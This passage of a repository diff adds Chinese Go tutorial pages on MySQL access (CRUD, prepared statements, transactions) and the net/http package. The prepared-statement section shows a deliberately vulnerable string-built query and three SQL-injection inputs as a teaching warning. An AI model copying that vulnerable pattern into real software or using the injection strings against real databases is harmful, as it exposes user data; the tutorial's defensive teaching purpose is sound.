if err != nil {
fmt.Printf("insert failed, err:%v\n", err)
return
}
theID, err := ret.LastInsertId() // 新插入数据的id
if err != nil {
fmt.Printf("get lastinsert ID failed, err:%v\n", err)
return
}
fmt.Printf("insert success, the id is %d.\n", theID)
}
+

更新数据​

+

具体更新数据示例代码如下:

+
// 更新数据
func updateRowDemo() {
sqlStr := "update user set age=? where id = ?"
ret, err := db.Exec(sqlStr, 39, 3)
if err != nil {
fmt.Printf("update failed, err:%v\n", err)
return
}
n, err := ret.RowsAffected() // 操作影响的行数
if err != nil {
fmt.Printf("get RowsAffected failed, err:%v\n", err)
return
}
fmt.Printf("update success, affected rows:%d\n", n)
}
+

删除数据​

+

具体删除数据的示例代码如下:

+
// 删除数据
func deleteRowDemo() {
sqlStr := "delete from user where id = ?"
ret, err := db.Exec(sqlStr, 3)
if err != nil {
fmt.Printf("delete failed, err:%v\n", err)
return
}
n, err := ret.RowsAffected() // 操作影响的行数
if err != nil {
fmt.Printf("get RowsAffected failed, err:%v\n", err)
return
}
fmt.Printf("delete success, affected rows:%d\n", n)
}
+

MySQL预处理​

+

什么是预处理?​

+

普通SQL语句执行过程:

+
    +
  1. 客户端对SQL语句进行占位符替换得到完整的SQL语句。
  2. +
  3. 客户端发送完整SQL语句到MySQL服务端
  4. +
  5. MySQL服务端执行完整的SQL语句并将结果返回给客户端。
  6. +
+

预处理执行过程:

+
    +
  1. 把SQL语句分成两部分,命令部分与数据部分。
  2. +
  3. 先把命令部分发送给MySQL服务端,MySQL服务端进行SQL预处理。
  4. +
  5. 然后把数据部分发送给MySQL服务端,MySQL服务端对SQL语句进行占位符替换。
  6. +
  7. MySQL服务端执行完整的SQL语句并将结果返回给客户端。
  8. +
+

为什么要预处理?​

+
    +
  1. 优化MySQL服务器重复执行SQL的方法,可以提升服务器性能,提前让服务器编译,一次编译多次执行,节省后续编译的成本。
  2. +
  3. 避免SQL注入问题。
  4. +
+

Go实现MySQL预处理​

+

database/sql中使用下面的Prepare方法来实现预处理操作。

+
func (db *DB) Prepare(query string) (*Stmt, error)
+

Prepare方法会先将sql语句发送给MySQL服务端,返回一个准备好的状态用于之后的查询和命令。返回值可以同时执行多个查询和命令。

+

查询操作的预处理示例代码如下:

+
// 预处理查询示例
func prepareQueryDemo() {
sqlStr := "select id, name, age from user where id > ?"
stmt, err := db.Prepare(sqlStr)
if err != nil {
fmt.Printf("prepare failed, err:%v\n", err)
return
}
defer stmt.Close()
rows, err := stmt.Query(0)
if err != nil {
fmt.Printf("query failed, err:%v\n", err)
return
}
defer rows.Close()
// 循环读取结果集中的数据
for rows.Next() {
var u user
err := rows.Scan(&u.id, &u.name, &u.age)
if err != nil {
fmt.Printf("scan failed, err:%v\n", err)
return
}
fmt.Printf("id:%d name:%s age:%d\n", u.id, u.name, u.age)
}
}
+

插入、更新和删除操作的预处理十分类似,这里以插入操作的预处理为例:

+
// 预处理插入示例
func prepareInsertDemo() {
sqlStr := "insert into user(name, age) values (?,?)"
stmt, err := db.Prepare(sqlStr)
if err != nil {
fmt.Printf("prepare failed, err:%v\n", err)
return
}
defer stmt.Close()
_, err = stmt.Exec("小王子", 18)
if err != nil {
fmt.Printf("insert failed, err:%v\n", err)
return
}
_, err = stmt.Exec("沙河娜扎", 18)
if err != nil {
fmt.Printf("insert failed, err:%v\n", err)
return
}
fmt.Println("insert success.")
}
+

SQL注入问题​

+

我们任何时候都不应该自己拼接SQL语句!

+

这里我们演示一个自行拼接SQL语句的示例,编写一个根据name字段查询user表的函数如下:

+
// sql注入示例
func sqlInjectDemo(name string) {
sqlStr := fmt.Sprintf("select id, name, age from user where name='%s'", name)
fmt.Printf("SQL:%s\n", sqlStr)
var u user
err := db.QueryRow(sqlStr).Scan(&u.id, &u.name, &u.age)
if err != nil {
fmt.Printf("exec failed, err:%v\n", err)
return
}
fmt.Printf("user:%#v\n", u)
}
+

此时以下输入字符串都可以引发SQL注入问题:

+
sqlInjectDemo("xxx' or 1=1#")
sqlInjectDemo("xxx' union select * from user #")
sqlInjectDemo("xxx' and (select count(*) from user) <10 #")
+

**补充:**不同的数据库中,SQL语句使用的占位符语法不尽相同。

+ + + + + + + + + + + + + + + + + + + + + + + + + +
数据库占位符语法
MySQL?
PostgreSQL$1, $2等
SQLite? 和$1
Oracle:name
+

Go实现MySQL事务​

+

什么是事务?​

+

事务:一个最小的不可再分的工作单元;通常一个事务对应一个完整的业务(例如银行账户转账业务,该业务就是一个最小的工作单元),同时这个完整的业务需要执行多次的DML(insert、update、delete)语句共同联合完成。A转账给B,这里面就需要执行两次update操作。

+

在MySQL中只有使用了Innodb数据库引擎的数据库或表才支持事务。事务处理可以用来维护数据库的完整性,保证成批的SQL语句要么全部执行,要么全部不执行。

+

事务的ACID​

+

通常事务必须满足4个条件(ACID):原子性(Atomicity,或称不可分割性)、一致性(Consistency)、隔离性(Isolation,又称独立性)、持久性(Durability)。

+ + + + + + + + + + + + + + + + + + + + + + + + + +
条件解释
原子性一个事务(transaction)中的所有操作,要么全部完成,要么全部不完成,不会结束在中间某个环节。事务在执行过程中发生错误,会被回滚(Rollback)到事务开始前的状态,就像这个事务从来没有执行过一样。
一致性在事务开始之前和事务结束以后,数据库的完整性没有被破坏。这表示写入的资料必须完全符合所有的预设规则,这包含资料的精确度、串联性以及后续数据库可以自发性地完成预定的工作。
隔离性数据库允许多个并发事务同时对其数据进行读写和修改的能力,隔离性可以防止多个事务并发执行时由于交叉执行而导致数据的不一致。事务隔离分为不同级别,包括读未提交(Read uncommitted)、读提交(read committed)、可重复读(repeatable read)和串行化(Serializable)。
持久性事务处理结束后,对数据的修改就是永久的,即便系统故障也不会丢失。
+

事务相关方法​

+

Go语言中使用以下三个方法实现MySQL中的事务操作。 开始事务

+
func (db *DB) Begin() (*Tx, error)
+

提交事务

+
func (tx *Tx) Commit() error
+

回滚事务

+
func (tx *Tx) Rollback() error
+

事务示例​

+

下面的代码演示了一个简单的事务操作,该事物操作能够确保两次更新操作要么同时成功要么同时失败,不会存在中间状态。

+
// 事务操作示例
func transactionDemo() {
tx, err := db.Begin() // 开启事务
if err != nil {
if tx != nil {
tx.Rollback() // 回滚
}
fmt.Printf("begin trans failed, err:%v\n", err)
return
}
sqlStr1 := "Update user set age=30 where id=?"
ret1, err := tx.Exec(sqlStr1, 2)
if err != nil {
tx.Rollback() // 回滚
fmt.Printf("exec sql1 failed, err:%v\n", err)
return
}
affRow1, err := ret1.RowsAffected()
if err != nil {
tx.Rollback() // 回滚
fmt.Printf("exec ret1.RowsAffected() failed, err:%v\n", err)
return
}

sqlStr2 := "Update user set age=40 where id=?"
ret2, err := tx.Exec(sqlStr2, 3)
if err != nil {
tx.Rollback() // 回滚
fmt.Printf("exec sql2 failed, err:%v\n", err)
return
}
affRow2, err := ret2.RowsAffected()
if err != nil {
tx.Rollback() // 回滚
fmt.Printf("exec ret1.RowsAffected() failed, err:%v\n", err)
return
}

fmt.Println(affRow1, affRow2)
if affRow1 == 1 && affRow2 == 1 {
fmt.Println("事务提交啦...")
tx.Commit() // 提交事务
} else {
tx.Rollback()
fmt.Println("事务回滚啦...")
}

fmt.Println("exec trans success!")
}
+

更强大、更好用的sqlx库

+ + \ No newline at end of file diff --git a/docs/个人知识库/语言知识/Go/Go基础编程/index.html b/docs/个人知识库/语言知识/Go/Go基础编程/index.html new file mode 100644 index 0000000..e4cd0c3 --- /dev/null +++ b/docs/个人知识库/语言知识/Go/Go基础编程/index.html @@ -0,0 +1,36 @@ + + + + + +Go基础编程 | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/docs/个人知识库/语言知识/Go/Go模块学习/GoLand-net.http/index.html b/docs/个人知识库/语言知识/Go/Go模块学习/GoLand-net.http/index.html new file mode 100644 index 0000000..88a69fe --- /dev/null +++ b/docs/个人知识库/语言知识/Go/Go模块学习/GoLand-net.http/index.html @@ -0,0 +1,149 @@ + + + + + +02.GoLand-net.http.md | wjlin0 + + + + + + + +

02.GoLand-net.http.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 00:58:49
+
+

本篇文章参考如下,如有侵权,请联系我删除。

+ +
+

Go语言内置的net/http包十分的优秀,提供了HTTP客户端和服务端的实现。

+

net/http介绍​

+

Go语言内置的net/http包提供了HTTP客户端和服务端的实现。

+

HTTP协议​

+

超文本传输协议(HTTP,HyperText Transfer Protocol)是互联网上应用最为广泛的一种网络传输协议,所有的WWW文件都必须遵守这个标准。设计HTTP最初的目的是为了提供一种发布和接收HTML页面的方法。

+

HTTP客户端​

+

基本的HTTP/HTTPS请求​

+

Get、Head、Post和PostForm函数发出HTTP/HTTPS请求。

+
resp, err := http.Get("http://example.com/")
...
resp, err := http.Post("http://example.com/upload", "image/jpeg", &buf)
...
resp, err := http.PostForm("http://example.com/form",
url.Values{"key": {"Value"}, "id": {"123"}})
+

程序在使用完response后必须关闭回复的主体。

+
resp, err := http.Get("http://example.com/")
if err != nil {
// handle error
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
// ...
+

GET请求示例​

+

使用net/http包编写一个简单的发送HTTP请求的Client端,代码如下:

+
package main

import (
"fmt"
"io/ioutil"
"net/http"
)

func main() {
resp, err := http.Get("https://www.liwenzhou.com/")
if err != nil {
fmt.Printf("get failed, err:%v\n", err)
return
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
fmt.Printf("read from resp.Body failed, err:%v\n", err)
return
}
fmt.Print(string(body))
}
+

将上面的代码保存之后编译成可执行文件,执行之后就能在终端打印liwenzhou.com网站首页的内容了,我们的浏览器其实就是一个发送和接收HTTP协议数据的客户端,我们平时通过浏览器访问网页其实就是从网站的服务器接收HTTP数据,然后浏览器会按照HTML、CSS等规则将网页渲染展示出来。

+

带参数的GET请求示例​

+

关于GET请求的参数需要使用Go语言内置的net/url这个标准库来处理。

+
func main() {
apiUrl := "http://127.0.0.1:9090/get"
// URL param
data := url.Values{}
data.Set("name", "小王子")
data.Set("age", "18")
u, err := url.ParseRequestURI(apiUrl)
if err != nil {
fmt.Printf("parse url requestUrl failed, err:%v\n", err)
}
u.RawQuery = data.Encode() // URL encode
fmt.Println(u.String())
resp, err := http.Get(u.String())
if err != nil {
fmt.Printf("post failed, err:%v\n", err)
return
}
defer resp.Body.Close()
b, err := ioutil.ReadAll(resp.Body)
if err != nil {
fmt.Printf("get resp failed, err:%v\n", err)
return
}
fmt.Println(string(b))
}
+

对应的Server端HandlerFunc如下:

+
func getHandler(w http.ResponseWriter, r *http.Request) {
defer r.Body.Close()
data := r.URL.Query()
fmt.Println(data.Get("name"))
fmt.Println(data.Get("age"))
answer := `{"status": "ok"}`
w.Write([]byte(answer))
}
+

Post请求示例​

+

上面演示了使用net/http包发送GET请求的示例,发送POST请求的示例代码如下:

+
package main

import (
"fmt"
"io/ioutil"
"net/http"
"strings"
)

// net/http post demo

func main() {
url := "http://127.0.0.1:9090/post"
// 表单数据
//contentType := "application/x-www-form-urlencoded"
//data := "name=小王子&age=18"
// json
contentType := "application/json"
data := `{"name":"小王子","age":18}`
resp, err := http.Post(url, contentType, strings.NewReader(data))
if err != nil {
fmt.Printf("post failed, err:%v\n", err)
return
}
defer resp.Body.Close()
b, err := ioutil.ReadAll(resp.Body)
if err != nil {
fmt.Printf("get resp failed, err:%v\n", err)
return
}
fmt.Println(string(b))
}
+

对应的Server端HandlerFunc如下:

+
func postHandler(w http.ResponseWriter, r *http.Request) {
defer r.Body.Close()
// 1. 请求类型是application/x-www-form-urlencoded时解析form数据
r.ParseForm()
fmt.Println(r.PostForm) // 打印form数据
fmt.Println(r.PostForm.Get("name"), r.PostForm.Get("age"))
// 2. 请求类型是application/json时从r.Body读取数据
b, err := ioutil.ReadAll(r.Body)
if err != nil {
fmt.Printf("read request.Body failed, err:%v\n", err)
return
}
fmt.Println(string(b))
answer := `{"status": "ok"}`
w.Write([]byte(answer))
}
+

自定义Client​

+

要管理HTTP客户端的头域、重定向策略和其他设置,创建一个Client:

+
client := &http.Client{
CheckRedirect: redirectPolicyFunc,
}
resp, err := client.Get("http://example.com")
// ...
req, err := http.NewRequest("GET", "http://example.com", nil)
// ...
req.Header.Add("If-None-Match", `W/"wyzzy"`)
resp, err := client.Do(req)
// ...
+

自定义Transport​

+

要管理代理、TLS配置、keep-alive、压缩和其他设置,创建一个Transport:

+
tr := &http.Transport{
TLSClientConfig: &tls.Config{RootCAs: pool},
DisableCompression: true,
}
client := &http.Client{Transport: tr}
resp, err := client.Get("https://example.com")
+

Client和Transport类型都可以安全的被多个goroutine同时使用。出于效率考虑,应该一次建立、尽量重用。

+

服务端​

+

默认的Server​

+

ListenAndServe使用指定的监听地址和处理器启动一个HTTP服务端。处理器参数通常是nil,这表示采用包变量DefaultServeMux作为处理器。

+

Handle和HandleFunc函数可以向DefaultServeMux添加处理器。

+
http.Handle("/foo", fooHandler)
http.HandleFunc("/bar", func(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path))
})
log.Fatal(http.ListenAndServe(":8080", nil))
+

默认的Server示例​

+

使用Go语言中的net/http包来编写一个简单的接收HTTP请求的Server端示例,net/http包是对net包的进一步封装,专门用来处理HTTP协议的数据。具体的代码如下:

+
// http server

func sayHello(w http.ResponseWriter, r *http.Request) {
fmt.Fprintln(w, "Hello 沙河!")
}

func main() {
http.HandleFunc("/", sayHello)
err := http.ListenAndServe(":9090", nil)
if err != nil {
fmt.Printf("http server failed, err:%v\n", err)
return
}
}
+

将上面的代码编译之后执行,打开你电脑上的浏览器在地址栏输入127.0.0.1:9090回车,此时就能够看到如下页面了。hello页面

+

自定义Server​

+

要管理服务端的行为,可以创建一个自定义的Server:

+
s := &http.Server{
Addr: ":8080",
Handler: myHandler,
ReadTimeout: 10 * time.Second,
WriteTimeout: 10 * time.Second,
MaxHeaderBytes: 1 << 20,
}
log.Fatal(s.ListenAndServe())
+

模块介绍​

+

Request​

+
// 利用指定的method, url以及可选的body返回一个新的请求.如果body参数实现了
// io.Closer接口,Request返回值的Body 字段会被设置为body,并会被Client
// 类型的Do、Post和PostForm方法以及Transport.RoundTrip方法关闭。
func NewRequest(method, urlStr string, body io.Reader) (*Request, error)

// 从b中读取和解析一个请求.
func ReadRequest(b *bufio.Reader) (req *Request, err error)

// 给request添加cookie, AddCookie向请求中添加一个cookie.按照RFC 6265
// section 5.4的规则, AddCookie不会添加超过一个Cookie头字段.
// 这表示所有的cookie都写在同一行, 用分号分隔(cookie内部用逗号分隔属性)
func (r *Request) AddCookie(c *Cookie)

// 返回request中指定名name的cookie,如果没有发现,返回ErrNoCookie
func (r *Request) Cookie(name string) (*Cookie, error)

// 返回该请求的所有cookies
func (r *Request) Cookies() []*Cookie

// 利用提供的用户名和密码给http基本权限提供具有一定权限的header。
// 当使用http基本授权时,用户名和密码是不加密的
func (r *Request) SetBasicAuth(username, password string)

// 如果在request中发送,该函数返回客户端的user-Agent
func (r *Request) UserAgent() string

// 对于指定格式的key,FormFile返回符合条件的第一个文件,如果有必要的话,
// 该函数会调用ParseMultipartForm和ParseForm。
func (r *Request) FormFile(key string) (multipart.File, *multipart.FileHeader, error)

// 返回key获取的队列中第一个值。在查询过程中post和put中的主题参数优先级
// 高于url中的value。为了访问相同key的多个值,调用ParseForm然后直接
// 检查RequestForm。
func (r *Request) FormValue(key string) string

// 如果这是一个有多部分组成的post请求,该函数将会返回一个MIME 多部分reader,
// 否则的话将会返回一个nil和error。使用本函数代替ParseMultipartForm
// 可以将请求body当做流stream来处理。
func (r *Request) MultipartReader() (*multipart.Reader, error)

// 解析URL中的查询字符串,并将解析结果更新到r.Form字段。对于POST或PUT
// 请求,ParseForm还会将body当作表单解析,并将结果既更新到r.PostForm也
// 更新到r.Form。解析结果中,POST或PUT请求主体要优先于URL查询字符串
// (同名变量,主体的值在查询字符串的值前面)。如果请求的主体的大小没有被
// MaxBytesReader函数设定限制,其大小默认限制为开头10MB。
// ParseMultipartForm会自动调用ParseForm。重复调用本方法是无意义的。
func (r *Request) ParseForm() error

// ParseMultipartForm将请求的主体作为multipart/form-data解析。
// 请求的整个主体都会被解析,得到的文件记录最多 maxMemery字节保存在内存,
// 其余部分保存在硬盘的temp文件里。如果必要,ParseMultipartForm会
// 自行调用 ParseForm。重复调用本方法是无意义的。
func (r *Request) ParseMultipartForm(maxMemory int64) error

// 返回post或者put请求body指定元素的第一个值,其中url中的参数被忽略。
func (r *Request) PostFormValue(key string) string

// 检测在request中使用的http协议是否至少是major.minor
func (r *Request) ProtoAtLeast(major,minor int) bool

// 如果request中有refer,那么refer返回相应的url。Referer在request
// 中是拼错的,这个错误从http初期就已经存在了。该值也可以从Headermap中
// 利用Header["Referer"]获取;在使用过程中利用Referer这个方法而
// 不是map的形式的好处是在编译过程中可以检查方法的错误,而无法检查map中
// key的错误。
func (r *Request) Referer() string

// Write方法以有线格式将HTTP/1.1请求写入w(用于将请求写入下层TCPConn等)
// 。本方法会考虑请求的如下字段:Host URL Method (defaults to "GET")
// Header ContentLength TransferEncoding Body如果存在Body,
// ContentLength字段<= 0且TransferEncoding字段未显式设置为
// ["identity"],Write方法会显式添加”Transfer-Encoding: chunked”
// 到请求的头域。Body字段会在发送完请求后关闭。
func (r *Request) Write(w io.Writer) error

// 该函数与Write方法类似,但是该方法写的request是按照http代理的格式去写。
// 尤其是,按照RFC 2616 Section 5.1.2,WriteProxy会使用绝对URI
// (包括协议和主机名)来初始化请求的第1行(Request-URI行)。无论何种情况,
// WriteProxy都会使用r.Host或r.URL.Host设置Host头。
func (r *Request) WriteProxy(w io.Writer) error
+

Response​

+
// 注意是在response.go中定义的,而在server.go有一个
// type response struct ,注意大小写。这个结构是体现在server端的功能。
type Response struct

// ReadResponse从r读取并返回一个HTTP 回复。req参数是可选的,指定该回复
// 对应的请求(即是对该请求的回复)。如果是nil,将假设请 求是GET请求。
// 客户端必须在结束resp.Body的读取后关闭它。读取完毕并关闭后,客户端可以
// 检查resp.Trailer字段获取回复的 trailer的键值对。
func ReadResponse(r *bufio.Reader, req *Request) (*Response, error)

// 解析cookie并返回在header中利用set-Cookie设定的cookie值。
func (r *Response) Cookies() []*Cookie

// 返回response中Location的header值的url。如果该值存在的话,则对于
// 请求问题可以解决相对重定向的问题,如果该值为nil,则返回ErrNOLocation。
func (r *Response) Location() (*url.URL,error)

// 判定在response中使用的http协议是否至少是major.minor的形式。
func (r *Response) ProtoAtLeast(major, minor int) bool

// 将response中信息按照线性格式写入w中。
func (r *Response) Write(w io.Writer) error
+

Client​

+
// Client具有Do,Get,Head,Post以及PostForm等方法。 其中Do方法可以对
// Request进行一系列的设定,而其他的对request设定较少。如果Client使用默认的
// Client,则其中的Get,Head,Post以及PostForm方法相当于默认的http.Get,
// http.Post, http.Head以及http.PostForm函数。
type Client struct

// 利用GET方法对一个指定的URL进行请求,如果response是如下重定向中的一个
// 代码,则Get之后将会调用重定向内容,最多10次重定向。
// 301 (永久重定向,告诉客户端以后应该从新地址访问)
// 302 (暂时性重定向,作为HTTP1.0的标准,PHP的默认Location重定向用到
// 也是302),注:303和307其实是对302的细化。
// 303 (对于Post请求,它表示请求已经被处理,客户端可以接着使用GET方法去
// 请求Location里的URl)
// 307 (临时重定向,对于Post请求,表示请求还没有被处理,客户端应该向
// Location里的URL重新发起Post请求)
func Get(url string) (resp *Response, err error)

// 该函数功能见net中Head方法功能。该方法与默认的defaultClient中
// Head方法一致。
func Head(url string) (resp *Response, err error)

// 该方法与默认的defaultClient中Post方法一致。
func Post(url string, bodyType string, body io.Reader) (resp *Response, err error)

// 该方法与默认的defaultClient中PostForm方法一致。
func PostForm(url string, data url.Values) (resp *Response, err error)

// Do发送http请求并且返回一个http响应, 遵守client的策略, 如重定向,
// cookies以及auth等.错误经常是由于策略引起的, 当err是nil时, resp
// 总会包含一个非nil的resp.body.当调用者读完resp.body之后应该关闭它,
// 如果resp.body没有关闭, 则Client底层RoundTripper将无法重用存在的
// TCP连接去服务接下来的请求, 如果resp.body非nil, 则必须对其进行关闭.
// 通常来说, 经常使用Get, Post, 或者PostForm来替代Do.
func (c *Client) Do(req *Request) (resp *Response, err error)

// 利用get方法请求指定的url.Get请求指定的页面信息,并返回实体主体。
func (c *Client) Get(url string) (resp *Response, err error)

// 利用head方法请求指定的url,Head只返回页面的首部。
func (c *Client) Head(url string) (resp *Response, err error)

// post方法请求指定的URl, 如果body也是一个io.Closer, 则在请求之后关闭它
func (c *Client) Post(url string, bodyType string, body io.Reader) (resp *Response, err error)

// 利用post方法请求指定的url, 利用data的key和value作为请求体.
func (c *Client) PostForm(url string, data url.Values) (resp *Response, err error)
+

Server 服务端​

+

http Server服务端用来接收并响应http Client端发出的http Request请求,是net/http包中非常重要和关键的一个功能。我们在Go语言中简单就能搭建HTTP服务器,就是因为它的存在。

+

在server.go文件中还定义了一个非常重要的接口:Handler,另外还有一个结构体response,这和http.Response结构体只有首字母大小写不一致,不过这个response 也是响应,只不过是专门用在服务端,和http.Response结构体是完全两回事。

+
type Handler interface {
ServeHTTP(ResponseWriter, *Request)
}

type Server struct

// 监听TCP网络地址srv.Addr然后调用Serve来处理接下来连接的请求。
// 如果srv.Addr是空的话,则使用“:http”。
func (srv *Server) ListenAndServe() error

// ListenAndServeTLS监听srv.Addr确定的TCP地址,并且会调用Serve
// 方法处理接收到的连接。必须提供证书文件和对应的私钥文 件。如果证书是由
// 权威机构签发的,certFile参数必须是顺序串联的服务端证书和CA证书。
// 如果srv.Addr为空字符串,会使 用”:https”。
func (srv *Server) ListenAndServeTLS(certFile, keyFile string) error

// 接受Listener l的连接,创建一个新的服务协程。该服务协程读取请求然后调用
// srv.Handler来应答。实际上就是实现了对某个端口进行监听,然后创建相应的连接。
func (srv *Server) Serve(l net.Listener) error

// 该函数控制是否http的keep-alives能够使用,默认情况下,keep-alives总是可用的。
// 只有资源非常紧张的环境或者服务端在关闭进程中时,才应该关闭该功能。
func (s *Server) SetKeepAlivesEnabled(v bool)

// 是一个http请求多路复用器,它将每一个请求的URL和
// 一个注册模式的列表进行匹配,然后调用和URL最匹配的模式的处理器进行后续操作。
type ServeMux

// 初始化一个新的ServeMux
func NewServeMux() *ServeMux

// 将handler注册为指定的模式,如果该模式已经有了handler,则会出错panic。
func (mux *ServeMux) Handle(pattern string, handler Handler)

// 将handler注册为指定的模式
func (mux *ServeMux) HandleFunc(pattern string, handler func(ResponseWriter, *Request))

// 根据指定的r.Method, r.Host以及r.RUL.Path返回一个用来处理给定请求的handler。
// 该函数总是返回一个非nil的 handler,如果path不是一个规范格式,则handler会
// 重定向到其规范path。Handler总是返回匹配该请求的的已注册模式;在内建重定向
// 处理器的情况下,pattern会在重定向后进行匹配。如果没有已注册模式可以应用于该请求,
// 本方法将返回一个内建的”404 page not found”处理器和一个空字符串模式。
func (mux *ServeMux) Handler(r *Request) (h Handler, pattern string)

// 该函数用于将最接近请求url模式的handler分配给指定的请求。
func (mux *ServeMux) ServeHTTP(w ResponseWriter, r *Request)
+

Handler接口应该算是server.go中最关键的接口了,如果我们仔细看这个文件的源代码,将会发现很多结构体实现了这个接口的ServeHTTP方法。

+

注意这个接口的注释:Handler响应HTTP请求。没错,最终我们的http服务是通过实现ServeHTTP(ResponseWriter, *Request)来达到服务端接收客户端请求并响应。

+

理解 HTTP 构建的网络应用只要关注两个端---客户端(Clinet)和服务端(Server),两个端的交互来自 Clinet 的 Request,以及Server端的Response。HTTP服务器,主要在于如何接受 Clinet端的 Request,Server端向Client端返回Response。

+

那这个过程是什么样的呢?要讲清楚这个过程,还需要回到开始的HTTP服务器程序。这里以前面我们了解到的http Request、http Response、http Client作为基础,并重点分析server.go源代码才能讲清楚:

+
func main() {
http.HandleFunc("/", myfunc)
http.ListenAndServe(":8080", nil)
}
+

以上两行代码,就成功启动了一个HTTP服务器。我们通过net/http 包源代码分析发现,调用Http.HandleFunc,按顺序做了几件事:

+

1.Http.HandleFunc调用了DefaultServeMux的HandleFunc

+
func HandleFunc(pattern string, handler func(ResponseWriter, *Request)) {
DefaultServeMux.HandleFunc(pattern, handler)
}
+

2.DefaultServeMux.HandleFunc调用了DefaultServeMux的Handle,DefaultServeMux是一个ServeMux 指针变量。而ServeMux 是Go语言中的Multiplexer(多路复用器),通过Handle匹配pattern 和我们定义的handler(其实就是http.HandlerFunc函数类型变量)。

+
var DefaultServeMux = &defaultServeMux
var defaultServeMux ServeMux

func (mux *ServeMux) HandleFunc(pattern string, handler func(ResponseWriter, *Request)) {
mux.Handle(pattern, HandlerFunc(handler))
}
+

注意: 上面的方法命名Handle,HandleFunc和HandlerFunc,Handler(接口),他们很相似,容易混淆。记住Handle和HandleFunc和pattern 匹配有关,也即往DefaultServeMux的map[string]muxEntry中增加对应的handler和路由规则。

+

接着我们看看myfunc的声明和定义:

+
func myfunc(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, "hi")
}
+

而type HandlerFunc func(ResponseWriter, *Request) 是一个函数类型,而我们定义的myfunc的函数签名刚好符合这个函数类型。

+

所以http.HandleFunc("/", myfunc),实际上是mux.Handle("/", HandlerFunc(myfunc))。

+

HandlerFunc(myfunc) 让myfunc成为了HandlerFunc类型,我们称myfunc为handler。而HandlerFunc类型是具有ServeHTTP方法的,而有了ServeHTTP方法也就是实现了Handler接口。

+
func (f HandlerFunc) ServeHTTP(w ResponseWriter, r *Request) {
f(w, r) // 这相当于自身的调用
}
+

现在ServeMux和Handler都和我们的myfunc联系上了,myfunc是一个Handler接口变量也是HandlerFunc类型变量,接下来和结构体server有关了。

+

从http.ListenAndServe的源码可以看出,它创建了一个server对象,并调用server对象的ListenAndServe方法:

+
func ListenAndServe(addr string, handler Handler) error {
server := &Server{Addr: addr, Handler: handler}
return server.ListenAndServe()
}
+

而我们HTTP服务器中第二行代码:

+
http.ListenAndServe(":8080", nil)
+

创建了一个server对象,并调用server对象的ListenAndServe方法,这里没有直接传递Handler,而是默认使用DefautServeMux作为multiplexer,myfunc是存在于handler和路由规则中的。

+

Server的ListenAndServe方法中,会初始化监听地址Addr,同时调用Listen方法设置监听。

+
for {
rw, e := l.Accept()
...
c := srv.newConn(rw)
c.setState(c.rwc, StateNew)
go c.serve(ctx)
}
+

监听开启之后,一旦客户端请求过来,Go就开启一个协程go c.serve(ctx)处理请求,主要逻辑都在serve方法之中。

+

func (c *conn) serve(ctx context.Context),这个方法很长,里面主要的一句:serverHandler{c.server}.ServeHTTP(w, w.req)。其中w由w, err := c.readRequest(ctx)得到,因为有传递context。

+

还是来看源代码:

+
type serverHandler struct {
srv *Server
}

func (sh serverHandler) ServeHTTP(rw ResponseWriter, req Request) {
handler := sh.srv.Handler
if handler == nil {
handler = DefaultServeMux
}
if req.RequestURI == "" && req.Method == "OPTIONS" {
handler = globalOptionsHandler{}
}
handler.ServeHTTP(rw, req)
}
+

从http.ListenAndServe(":8080", nil)开始,handler是nil,所以最后实际ServeHTTP方法是DefaultServeMux.ServeHTTP(rw, req)。

+
func (mux *ServeMux) ServeHTTP(w ResponseWriter, r *Request) {
if r.RequestURI == "*" {
if r.ProtoAtLeast(1, 1) {
w.Header().Set("Connection", "close")
}
w.WriteHeader(StatusBadRequest)
return
}
h, _ := mux.Handler(r)
h.ServeHTTP(w, r)
}
+

通过func (mux ServeMux) Handler(r Request) (h Handler, pattern string),我们得到Handler h,然后执行h.ServeHTTP(w, r)方法,也就是执行我们的myfunc函数(别忘了myfunc是HandlerFunc类型,而他的ServeHTTP(w, r)方法这里其实就是自己调用自己),把response写到http.ResponseWriter对象返回给客户端,fmt.Fprintf(w, "hi"),我们在客户端会接收到hi 。至此整个HTTP服务执行完成。

+

总结下,HTTP服务整个过程大概是这样:

+
Request -> ServeMux(Multiplexer) -> handler-> Response
+

我们再看下面代码:

+
http.ListenAndServe(":8080", nil)
func ListenAndServe(addr string, handler Handler) error {
server := &Server{Addr: addr, Handler: handler}
return server.ListenAndServe()
}
+

上面代码实际上就是server.ListenAndServe()执行的实际效果,只不过简单声明了一个结构体Server{Addr: addr, Handler: handler}实例。如果我们声明一个Server实例,完全可以达到深度自定义 http.Server的目的:

+
package main

import (
"fmt"
"net/http"
)

func myfunc(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, "hi")
}

func main() {
// 更多http.Server的字段可以根据情况初始化
server := http.Server{
Addr: ":8080",
ReadTimeout: 0,
WriteTimeout: 0,
}
http.HandleFunc("/", myfunc)
server.ListenAndServe()
}

这样服务也能跑起来,而且我们完全可以根据情况来自定义我们的Server!

还可以指定Servemux的用法:

GOPATH\src\go42\chapter-15\15.3\7\main.go

package main

import (
"fmt"
"net/http"
)

func myfunc(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, "hi")
}

func main() {
mux := http.NewServeMux()

mux.HandleFunc("/", myfunc)
http.ListenAndServe(":8080", mux)
}
+

如果既指定Servemux又自定义 http.Server,因为Server中有字段Handler,所以我们可以直接把Servemux变量作为Server.Handler:

+
package main

import (
"fmt"
"net/http"
)

func myfunc(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, "hi")
}

func main() {
server := http.Server{
Addr: ":8080",
ReadTimeout: 0,
WriteTimeout: 0,
}
mux := http.NewServeMux()
server.Handler = mux

mux.HandleFunc("/", myfunc)
server.ListenAndServe()
}
+

在前面pprof 包的内容中我们也用了本章开头这段代码,当我们访问http://localhost:8080/debug/pprof/ 时可以看到对应的性能分析报告。 因为我们这样导入 _"net/http/pprof" 包时,在文件 pprof.go 文件中init 函数已经定义好了handler:

+
func init() {
http.HandleFunc("/debug/pprof/", Index)
http.HandleFunc("/debug/pprof/cmdline", Cmdline)
http.HandleFunc("/debug/pprof/profile", Profile)
http.HandleFunc("/debug/pprof/symbol", Symbol)
